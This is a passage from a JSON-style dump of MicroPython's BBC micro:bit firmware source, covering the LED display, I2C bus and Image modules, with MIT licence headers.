MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n    };\n    // Parse the args.\n    microbit_display_obj_t *self = (microbit_display_obj_t*)pos_args[0];\n    mp_arg_val_t args[MP_ARRAY_SIZE(scroll_allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(scroll_allowed_args), scroll_allowed_args, args);\n    mp_uint_t len;\n    mp_obj_t object_string = args[0].u_obj;\n    if (mp_obj_is_integer(object_string) || mp_obj_is_float(object_string)) {\n        object_string = mp_obj_str_make_new(&mp_type_str, 1, 0, &object_string);\n    }\n    const char* str = mp_obj_str_get_data(object_string, &len);\n    mp_obj_t iterable = scrolling_string_image_iterable(str, len, args[0].u_obj, args[3].u_bool /*monospace?*/, args[4].u_bool /*loop*/);\n    microbit_display_animate(self, iterable, args[1].u_int /*delay*/, false/*clear*/, args[2].u_bool/*wait?*/);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_display_scroll_obj, 1, microbit_display_scroll_func);\n\nmp_obj_t microbit_display_on_func(mp_obj_t obj) {\n    microbit_display_obj_t *self = (microbit_display_obj_t*)obj;\n    /* Try to reclaim the pins we need */\n    microbit_obj_pin_acquire(&microbit_p3_obj, microbit_pin_mode_display);\n    microbit_obj_pin_acquire(&microbit_p4_obj, microbit_pin_mode_display);\n    microbit_obj_pin_acquire(&microbit_p6_obj, microbit_pin_mode_display);\n    microbit_obj_pin_acquire(&microbit_p7_obj, microbit_pin_mode_display);\n    microbit_obj_pin_acquire(&microbit_p9_obj, microbit_pin_mode_display);\n    microbit_obj_pin_acquire(&microbit_p10_obj, microbit_pin_mode_display);\n    /* Make sure all pins are in the correct state */\n    microbit_display_init();\n    /* Re-enable the display loop.  This will resume any animations in\n     * progress and display any static image. */\n    self->active = true;\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_display_on_obj, microbit_display_on_func);\n\nmp_obj_t microbit_display_off_func(mp_obj_t obj) {\n    microbit_display_obj_t *self = (microbit_display_obj_t*)obj;\n    /* Disable the display loop.  This will pause any animations in progress.\n     * It will not prevent a user from attempting to modify the state, but\n     * modifications will not appear to have any effect until the display loop\n     * is re-enabled. */\n    self->active = false;\n    /* Disable the row strobes, allowing the columns to be used freely for\n     * GPIO. */\n    nrf_gpio_pins_clear(ROW_PINS_MASK);\n    /* Free pins for other uses */\n    microbit_obj_pin_free(&microbit_p3_obj);\n    microbit_obj_pin_free(&microbit_p4_obj);\n    microbit_obj_pin_free(&microbit_p6_obj);\n    microbit_obj_pin_free(&microbit_p7_obj);\n    microbit_obj_pin_free(&microbit_p9_obj);\n    microbit_obj_pin_free(&microbit_p10_obj);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_display_off_obj, microbit_display_off_func);\n\nmp_obj_t microbit_display_is_on_func(mp_obj_t obj) {\n    microbit_display_obj_t *self = (microbit_display_obj_t*)obj;\n    if (self->active) {\n        return mp_const_true;\n    }\n    else {\n        return mp_const_false;\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_display_is_on_obj, microbit_display_is_on_func);\n\nmp_obj_t microbit_display_read_light_level(mp_obj_t obj) {\n    (void)obj;\n    return MP_OBJ_NEW_SMALL_INT(light_sensor_read());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_display_read_light_level_obj, microbit_display_read_light_level);\n\nvoid microbit_display_clear(void) {\n    // Reset repeat state, cancel animation and clear screen.\n    wakeup_event = false;\n    async_mode = ASYNC_MODE_CLEAR;\n    async_tick = async_delay - MILLISECONDS_PER_MACRO_TICK;\n    wait_for_event();\n}\n\nmp_obj_t microbit_display_clear_func(mp_obj_t self) {\n    (void)self;\n    microbit_display_clear();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_display_clear_obj, microbit_display_clear_func);\n\nvoid microbit_display_set_pixel(microbit_display_obj_t *display, mp_int_t x, mp_int_t y, mp_int_t bright) {\n    if (x < 0 || y < 0 || x > 4 || y > 4) {\n        mp_raise_ValueError(\"index out of bounds\");\n    }\n    if (bright < 0 || bright > MAX_BRIGHTNESS) {\n        mp_raise_ValueError(\"brightness out of bounds\");\n    }\n    display->image_buffer[x][y] = bright;\n    display->brightnesses |= (1 << bright);\n}\n\nSTATIC mp_obj_t microbit_display_set_pixel_func(mp_uint_t n_args, const mp_obj_t *args) {\n    (void)n_args;\n    microbit_display_obj_t *self = (microbit_display_obj_t*)args[0];\n    microbit_display_set_pixel(self, mp_obj_get_int(args[1]), mp_obj_get_int(args[2]), mp_obj_get_int(args[3]));\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_display_set_pixel_obj, 4, 4, microbit_display_set_pixel_func);\n\nmp_int_t microbit_display_get_pixel(microbit_display_obj_t *display, mp_int_t x, mp_int_t y) {\n    if (x < 0 || y < 0 || x > 4 || y > 4) {\n        mp_raise_ValueError(\"index out of bounds\");\n    }\n    return display->image_buffer[x][y];\n}\n\nSTATIC mp_obj_t microbit_display_get_pixel_func(mp_obj_t self_in, mp_obj_t x_in, mp_obj_t y_in) {\n    microbit_display_obj_t *self = (microbit_display_obj_t*)self_in;\n    return MP_OBJ_NEW_SMALL_INT(microbit_display_get_pixel(self, mp_obj_get_int(x_in), mp_obj_get_int(y_in)));\n}\nMP_DEFINE_CONST_FUN_OBJ_3(microbit_display_get_pixel_obj, microbit_display_get_pixel_func);\n\nSTATIC const mp_map_elem_t microbit_display_locals_dict_table[] = {\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_pixel),  (mp_obj_t)&microbit_display_get_pixel_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_pixel),  (mp_obj_t)&microbit_display_set_pixel_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_show), (mp_obj_t)&microbit_display_show_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_scroll), (mp_obj_t)&microbit_display_scroll_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_clear), (mp_obj_t)&microbit_display_clear_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_on),  (mp_obj_t)&microbit_display_on_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_off),  (mp_obj_t)&microbit_display_off_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_is_on),  (mp_obj_t)&microbit_display_is_on_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read_light_level), (mp_obj_t)&microbit_display_read_light_level_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_display_locals_dict, microbit_display_locals_dict_table);\n\nSTATIC const mp_obj_type_t microbit_display_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitDisplay,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_display_locals_dict,\n};\n\nmicrobit_display_obj_t microbit_display_obj = {\n    {&microbit_display_type},\n    { 0 },\n    .previous_brightness = 0,\n    .active = 1,\n    .strobe_row = 0,\n    .brightnesses = 0,\n    .pins_for_brightness = { 0 },\n};\n\nvoid microbit_display_init(void) {\n    //  Set pins as output.\n    nrf_gpio_range_cfg_output(MIN_COLUMN_PIN, MIN_COLUMN_PIN + COLUMN_COUNT + ROW_COUNT - 1);\n}\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbiti2c.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"microbit/microbitdal.h\"\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n\ntypedef struct _microbit_i2c_obj_t {\n    mp_obj_base_t base;\n    MicroPythonI2C *i2c;\n} microbit_i2c_obj_t;\n\nSTATIC mp_obj_t microbit_i2c_init(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_freq, MP_ARG_INT, {.u_int = 100000} },\n        { MP_QSTR_sda, MP_ARG_OBJ, {.u_obj = mp_const_none } },\n        { MP_QSTR_scl, MP_ARG_OBJ, {.u_obj = mp_const_none } },\n    };\n\n    // parse args\n    microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)pos_args[0];\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n\n    PinName p_sda = I2C_SDA0;\n    PinName p_scl = I2C_SCL0;\n\n    if (args[1].u_obj != mp_const_none) {\n        p_sda = (PinName)microbit_obj_get_pin_name(args[1].u_obj);\n    }\n    if (args[2].u_obj != mp_const_none) {\n        p_scl = (PinName)microbit_obj_get_pin_name(args[2].u_obj);\n    }\n    self->i2c->set_pins(p_sda, p_scl);\n\n    self->i2c->frequency(args[0].u_int);\n\n    // Call underlying mbed i2c_reset to reconfigure the pins and reset the peripheral\n    i2c_reset(self->i2c->get_i2c_obj());\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_i2c_init_obj, 1, microbit_i2c_init);\n\n// Probe the given I2C address with an empty write to see if a device responds with an ACK\nSTATIC bool i2c_probe(i2c_t *obj, uint8_t address) {\n    obj->i2c->ADDRESS = address;\n    obj->i2c->SHORTS = 0;\n    obj->i2c->TASKS_STARTTX = 1;\n    obj->i2c->EVENTS_STOPPED = 0;\n    obj->i2c->TASKS_STOP = 1;\n    uint32_t timeout = 10000;\n    while (!obj->i2c->EVENTS_STOPPED && timeout > 0) {\n        --timeout;\n    }\n    bool ack = timeout > 0 && obj->i2c->ERRORSRC == 0;\n    i2c_reset(obj);\n    return ack;\n}\n\nSTATIC mp_obj_t microbit_i2c_scan(mp_obj_t self_in) {\n    microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)MP_OBJ_TO_PTR(self_in);\n    i2c_t *obj = self->i2c->get_i2c_obj();\n    mp_obj_t list = mp_obj_new_list(0, NULL);\n    // 7-bit addresses 0b0000xxx and 0b1111xxx are reserved\n    for (int addr = 0x08; addr < 0x78; ++addr) {\n        if (i2c_probe(obj, addr)) {\n            mp_obj_list_append(list, MP_OBJ_NEW_SMALL_INT(addr));\n        }\n    }\n    return list;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_i2c_scan_obj, microbit_i2c_scan);\n\nSTATIC mp_obj_t microbit_i2c_read(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_addr,     MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} },\n        { MP_QSTR_n,        MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} },\n        { MP_QSTR_repeat,   MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // parse args\n    microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)pos_args[0];\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    // do the I2C read\n    vstr_t vstr;\n    vstr_init_len(&vstr, args[1].u_int);\n    int err = self->i2c->read(args[0].u_int << 1, vstr.buf, vstr.len, args[2].u_bool);\n    if (err != MICROBIT_OK) {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_OSError, \"I2C read error %d\", err));\n    }\n    // return bytes object with read data\n    return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_i2c_read_obj, 1, microbit_i2c_read);\n\nSTATIC mp_obj_t microbit_i2c_write(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_addr,     MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} },\n        { MP_QSTR_buf,      MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} },\n        { MP_QSTR_repeat,   MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // parse args\n    microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)pos_args[0];\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    // do the I2C write\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[1].u_obj, &bufinfo, MP_BUFFER_READ);\n    int err = self->i2c->write(args[0].u_int << 1, (char*)bufinfo.buf, bufinfo.len, args[2].u_bool);\n    if (err != MICROBIT_OK) {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_OSError, \"I2C write error %d\", err));\n    }\n    return mp_const_none;\n\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_i2c_write_obj, 1, microbit_i2c_write);\n\nSTATIC const mp_map_elem_t microbit_i2c_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_init), (mp_obj_t)&microbit_i2c_init_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_scan), (mp_obj_t)&microbit_i2c_scan_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)&microbit_i2c_read_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)&microbit_i2c_write_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_i2c_locals_dict, microbit_i2c_locals_dict_table);\n\nconst mp_obj_type_t microbit_i2c_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitI2C,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_i2c_locals_dict,\n};\n\nconst microbit_i2c_obj_t microbit_i2c_obj = {\n    {&microbit_i2c_type},\n    .i2c = &ubit_i2c,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitimage.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien George, Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include \"MicroBitFont.h\"\n\nextern \"C\" {\n\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/microbit_image.h\"\n\n#define min(a,b) (((a)<(b))?(a):(b))\n#define max(a,b) (((a)>(b))?(a):(b))\n\nconst monochrome_5by5_t microbit_blank_image = {\n    { &microbit_image_type },\n    1, 0, 0, 0,\n    { 0, 0, 0 }\n};\n\nSTATIC void microbit_image_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    mp_printf(print, \"Image(\");\n    if (kind == PRINT_STR)\n        mp_printf(print, \"\\n    \");\n    mp_printf(print, \"'\");\n    for (int y = 0; y < self->height(); ++y) {\n        for (int x = 0; x < self->width(); ++x) {\n            mp_printf(print, \"%c\", \"0123456789\"[self->getPixelValue(x, y)]);\n        }\n        mp_printf(print, \":\");\n        if (kind == PRINT_STR && y < self->height()-1)\n            mp_printf(print, \"'\\n    '\");\n    }\n    mp_printf(print, \"'\");\n    if (kind == PRINT_STR)\n        mp_printf(print, \"\\n\");\n    mp_printf(print, \")\");\n}\n\nuint8_t monochrome_5by5_t::getPixelValue(mp_int_t x, mp_int_t y) {\n    unsigned int index = y*5+x;\n    if (index == 24)\n        return this->pixel44;\n    return (this->bits24[index>>3] >> (index&7))&1;\n}\n\nuint8_t greyscale_t::getPixelValue(mp_int_t x, mp_int_t y) {\n    unsigned int index = y*this->width+x;\n    unsigned int shift = ((index<<2)&4);\n    return (this->byte_data[index>>1] >> shift)&15;\n}\n\nvoid greyscale_t::setPixelValue(mp_int_t x, mp_int_t y, mp_int_t val) {\n    unsigned int index = y*this->width+x;\n    unsigned int shift = ((index<<2)&4);\n    uint8_t mask = 240 >> shift;\n    this->byte_data[index>>1] = (this->byte_data[index>>1] & mask) | (val << shift);\n}\n\nvoid greyscale_t::fill(mp_int_t val) {\n    mp_int_t byte = (val<<4) | val;\n    for (int i = 0; i < ((this->width*this->height+1)>>1); i++) {\n        this->byte_data[i] = byte;\n    }\n}\n\nvoid greyscale_t::clear() {\n    memset(&this->byte_data, 0, (this->width*this->height+1)>>1);\n}\n\nuint8_t microbit_image_obj_t::getPixelValue(mp_int_t x, mp_int_t y) {\n    if (this->base.five)\n        return this->monochrome_5by5.getPixelValue(x, y)*MAX_BRIGHTNESS;\n    else\n        return this->greyscale.getPixelValue(x, y);\n}\n\nmp_int_t microbit_image_obj_t::width() {\n    if (this->base.five)\n        return 5;\n    else\n        return this->greyscale.width;\n}\n\nmp_int_t microbit_image_obj_t::height() {\n    if (this->base.five)\n        return 5;\n    else\n        return this->greyscale.height;\n}\n\nSTATIC greyscale_t *greyscale_new(mp_int_t w, mp_int_t h) {\n    greyscale_t *result = m_new_obj_var(greyscale_t, uint8_t, (w*h+1)>>1);\n    result->base.type = &microbit_image_type;\n    result->five = 0;\n    result->width = w;\n    result->height = h;\n    return result;\n}\n\ngreyscale_t *microbit_image_obj_t::copy() {\n    mp_int_t w = this->width();\n    mp_int_t h = this->height();\n    greyscale_t *result = greyscale_new(w, h);\n    for (mp_int_t y = 0; y < h; y++) {\n        for (mp_int_t x = 0; x < w; ++x) {\n            result->setPixelValue(x,y, this->getPixelValue(x,y));\n        }\n    }\n    return result;\n}\n\ngreyscale_t *microbit_image_obj_t::invert() {\n    mp_int_t w = this->width();\n    mp_int_t h = this->height();\n    greyscale_t *result = greyscale_new(w, h);\n    for (mp_int_t y = 0; y < h; y++) {\n        for (mp_int_t x = 0; x < w; ++x) {\n            result->setPixelValue(x,y, MAX_BRIGHTNESS - this->getPixelValue(x,y));\n        }\n    }\n    return result;\n}\n\nSTATIC microbit_image_obj_t *image_from_parsed_str(const char *s, mp_int_t len) {\n    mp_int_t w = 0;\n    mp_int_t h = 0;\n    mp_int_t line_len = 0;\n    greyscale_t *result;\n    /*First pass -- Establish metadata */\n    for (int i = 0; i < len; i++) {\n        char c = s[i];\n        if (c == '\\n' || c == ':') {\n            w = max(line_len, w);\n            line_len = 0;\n            ++h;\n        } else if (c == ' ') {\n            ++line_len;\n        } else if ('c' >= '0' && c <= '9') {\n            ++line_len;\n        } else {\n            mp_raise_ValueError(\"unexpected character in Image definition\");\n        }\n    }\n    if (line_len) {\n        // Omitted trailing terminator\n        ++h;\n        w = max(line_len, w);\n    }\n    result = greyscale_new(w, h);\n    mp_int_t x = 0;\n    mp_int_t y = 0;\n    /* Second pass -- Fill in data */\n    for (int i = 0; i < len; i++) {\n        char c = s[i];\n        if (c == '\\n' || c == ':') {\n            while (x < w) {\n                result->setPixelValue(x, y, 0);\n                x++;\n            }\n            ++y;\n            x = 0;\n        } else if (c == ' ') {\n            /* Treat spaces as 0 */\n            result->setPixelValue(x, y, 0);\n            ++x;\n        } else if ('c' >= '0' && c <= '9') {\n            result->setPixelValue(x, y, c - '0');\n            ++x;\n        }\n    }\n    if (y < h) {\n        while (x < w) {\n            result->setPixelValue(x, y, 0);\n            x++;\n        }\n    }\n    return (microbit_image_obj_t *)result;\n}\n\n\nSTATIC mp_obj_t microbit_image_make_new(const mp_obj_type_t *type_in, mp_uint_t n_args, mp_uint_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 3, false);\n\n    switch (n_args) {\n        case 0: {\n            greyscale_t *image = greyscale_new(5, 5);\n            image->clear();\n            return image;\n        }\n\n        case 1: {\n            if (MP_OBJ_IS_STR(args[0])) {\n                // arg is a string object\n                mp_uint_t len;\n                const char *str = mp_obj_str_get_data(args[0], &len);\n                // make image from string\n                if (len == 1) {\n                    /* For a single charater, return the font glyph */\n                    return microbit_image_for_char(str[0]);\n                } else {\n                    /* Otherwise parse the image description string */\n                    return image_from_parsed_str(str, len);\n                }\n            } else {\n                mp_raise_TypeError(\"Image(s) takes a string\");\n            }\n        }\n\n        case 2:\n        case 3: {\n            mp_int_t w = mp_obj_get_int(args[0]);\n            mp_int_t h = mp_obj_get_int(args[1]);\n            greyscale_t *image = greyscale_new(w, h);\n            if (n_args == 2) {\n                image->clear();\n            } else {\n                mp_buffer_info_t bufinfo;\n                mp_get_buffer_raise(args[2], &bufinfo, MP_BUFFER_READ);\n\n                if (w < 0 || h < 0 || (size_t)(w * h) != bufinfo.len) {\n                    mp_raise_ValueError(\"image data is incorrect size\");\n                }\n                mp_int_t i = 0;\n                for (mp_int_t y = 0; y < h; y++) {\n                    for (mp_int_t x = 0; x < w; ++x) {\n                        uint8_t val = min(((const uint8_t*)bufinfo.buf)[i], MAX_BRIGHTNESS);\n                        image->setPixelValue(x, y, val);\n                        ++i;\n                    }\n                }\n            }\n            return image;\n        }\n\n        default: {\n            mp_raise_TypeError(\"Image() takes 0 to 3 arguments\");\n        }\n    }\n}\n\nstatic void clear_rect(greyscale_t *img, mp_int_t x0, mp_int_t y0,mp_int_t x1, mp_int_t y1) {\n    for (int i = x0; i < x1; ++i) {\n        for (int j = y0; j < y1; ++j) {\n            img->setPixelValue(i, j, 0);\n        }\n    }\n}\n\nSTATIC void image_blit(microbit_image_obj_t *src, greyscale_t *dest, mp_int_t x, mp_int_t y, mp_int_t w, mp_int_t h, mp_int_t xdest, mp_int_t ydest) {\n    if (w < 0)\n        w = 0;\n    if (h < 0)\n        h = 0;\n    mp_int_t intersect_x0 = max(max(0, x), -xdest);\n    mp_int_t intersect_y0 = max(max(0, y), -ydest);\n    mp_int_t intersect_x1 = min(min(dest->width+x-xdest, src->width()), x+w);\n    mp_int_t intersect_y1 = min(min(dest->height+y-ydest, src->height()), y+h);\n    mp_int_t xstart, xend, ystart, yend, xdel, ydel;\n    mp_int_t clear_x0 = max(0, xdest);\n    mp_int_t clear_y0 = max(0, ydest);\n    mp_int_t clear_x1 = min(dest->width, xdest+w);\n    mp_int_t clear_y1 = min(dest->height, ydest+h);\n    if (intersect_x0 >= intersect_x1 || intersect_y0 >= intersect_y1) {\n        // Nothing to copy\n        clear_rect(dest, clear_x0, clear_y0, clear_x1, clear_y1);\n        return;\n    }\n    if (x > xdest) {\n        xstart = intersect_x0; xend = intersect_x1; xdel = 1;\n    } else {\n        xstart = intersect_x1-1; xend = intersect_x0-1; xdel = -1;\n    }\n    if (y > ydest) {\n        ystart = intersect_y0; yend = intersect_y1; ydel = 1;\n    } else {\n        ystart = intersect_y1-1; yend = intersect_y0-1; ydel = -1;\n    }\n    for (int i = xstart; i != xend; i += xdel) {\n        for (int j = ystart; j != yend; j += ydel) {\n            int val = src->getPixelValue(i, j);\n            dest->setPixelValue(i+xdest-x, j+ydest-y, val);\n        }\n    }\n    // Adjust intersection rectange to dest\n    intersect_x0 += xdest-x;\n    intersect_y0 += ydest-y;\n    intersect_x1 += xdest-x;\n    intersect_y1 += ydest-y;\n    // Clear four rectangles in the cleared area surrounding the copied area.\n    clear_rect(dest, clear_x0, clear_y0, intersect_x0, intersect_y1);\n    clear_rect(dest, clear_x0, intersect_y1, intersect_x1, clear_y1);\n    clear_rect(dest, intersect_x1, intersect_y0, clear_x1, clear_y1);\n    clear_rect(dest, intersect_x0, clear_y0, clear_x1, intersect_y0);\n}\n\ngreyscale_t *image_shift(microbit_image_obj_t *self, mp_int_t x, mp_int_t y) {\n    greyscale_t *result = greyscale_new(self->width(), self->width());\n    image_blit(self, result, x, y, self->width(), self->width(), 0, 0);\n    return result;\n}\n\nSTATIC microbit_image_obj_t *image_crop(microbit_image_obj_t *img, mp_int_t x, mp_int_t y, mp_int_t w, mp_int_t h) {\n    if (w < 0)\n        w = 0;\n    if (h < 0)\n        h = 0;\n    greyscale_t *result = greyscale_new(w, h);\n    image_blit(img, result, x, y, w, h, 0, 0);\n    return (microbit_image_obj_t *)result;\n}\n\nmp_obj_t microbit_image_width(mp_obj_t self_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    return MP_OBJ_NEW_SMALL_INT(self->width());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_image_width_obj, microbit_image_width);\n\nmp_obj_t microbit_image_height(mp_obj_t self_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    return MP_OBJ_NEW_SMALL_INT(self->height());\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_image_height_obj, microbit_image_height);\n\nmp_obj_t microbit_image_get_pixel(mp_obj_t self_in, mp_obj_t x_in, mp_obj_t y_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    mp_int_t x = mp_obj_get_int(x_in);\n    mp_int_t y = mp_obj_get_int(y_in);\n    if (x < 0 || y < 0) {\n        mp_raise_ValueError(\"index cannot be negative\");\n    }\n    if (x < self->width() && y < self->height()) {\n        return MP_OBJ_NEW_SMALL_INT(self->getPixelValue(x, y));\n    }\n    mp_raise_ValueError(\"index too large\");\n}\nMP_DEFINE_CONST_FUN_OBJ_3(microbit_image_get_pixel_obj, microbit_image_get_pixel);\n\n/* Raise an exception if not mutable */\nstatic void check_mutability(microbit_image_obj_t *self) {\n    if (self->base.five) {\n        mp_raise_TypeError(\"image cannot be modified (try copying first)\");\n    }\n}\n\n\nmp_obj_t microbit_image_set_pixel(mp_uint_t n_args, const mp_obj_t *args) {\n    (void)n_args;\n    microbit_image_obj_t *self = (microbit_image_obj_t*)args[0];\n    check_mutability(self);\n    mp_int_t x = mp_obj_get_int(args[1]);\n    mp_int_t y = mp_obj_get_int(args[2]);\n    if (x < 0 || y < 0) {\n        mp_raise_ValueError(\"index cannot be negative\");\n    }\n    mp_int_t bright = mp_obj_get_int(args[3]);\n    if (bright < 0 || bright > MAX_BRIGHTNESS) {\n        mp_raise_ValueError(\"brightness out of bounds\");\n    }\n    if (x < self->width() && y < self->height()) {\n        self->greyscale.setPixelValue(x, y, bright);\n        return mp_const_none;\n    }\n    mp_raise_ValueError(\"index too large\");\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_set_pixel_obj, 4, 4, microbit_image_set_pixel);\n\nmp_obj_t microbit_image_fill(mp_obj_t self_in, mp_obj_t n_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    check_mutability(self);\n    mp_int_t n = mp_obj_get_int(n_in);\n    if (n < 0 || n > MAX_BRIGHTNESS) {\n        mp_raise_ValueError(\"brightness out of bounds\");\n    }\n    self->greyscale.fill(n);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_image_fill_obj, microbit_image_fill);\n\nmp_obj_t microbit_image_blit(mp_uint_t n_args, const mp_obj_t *args) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)args[0];\n    check_mutability(self);\n\n    mp_obj_t src = args[1];\n    if (mp_obj_get_type(src) != &microbit_image_type) {\n        mp_raise_TypeError(\"expecting an 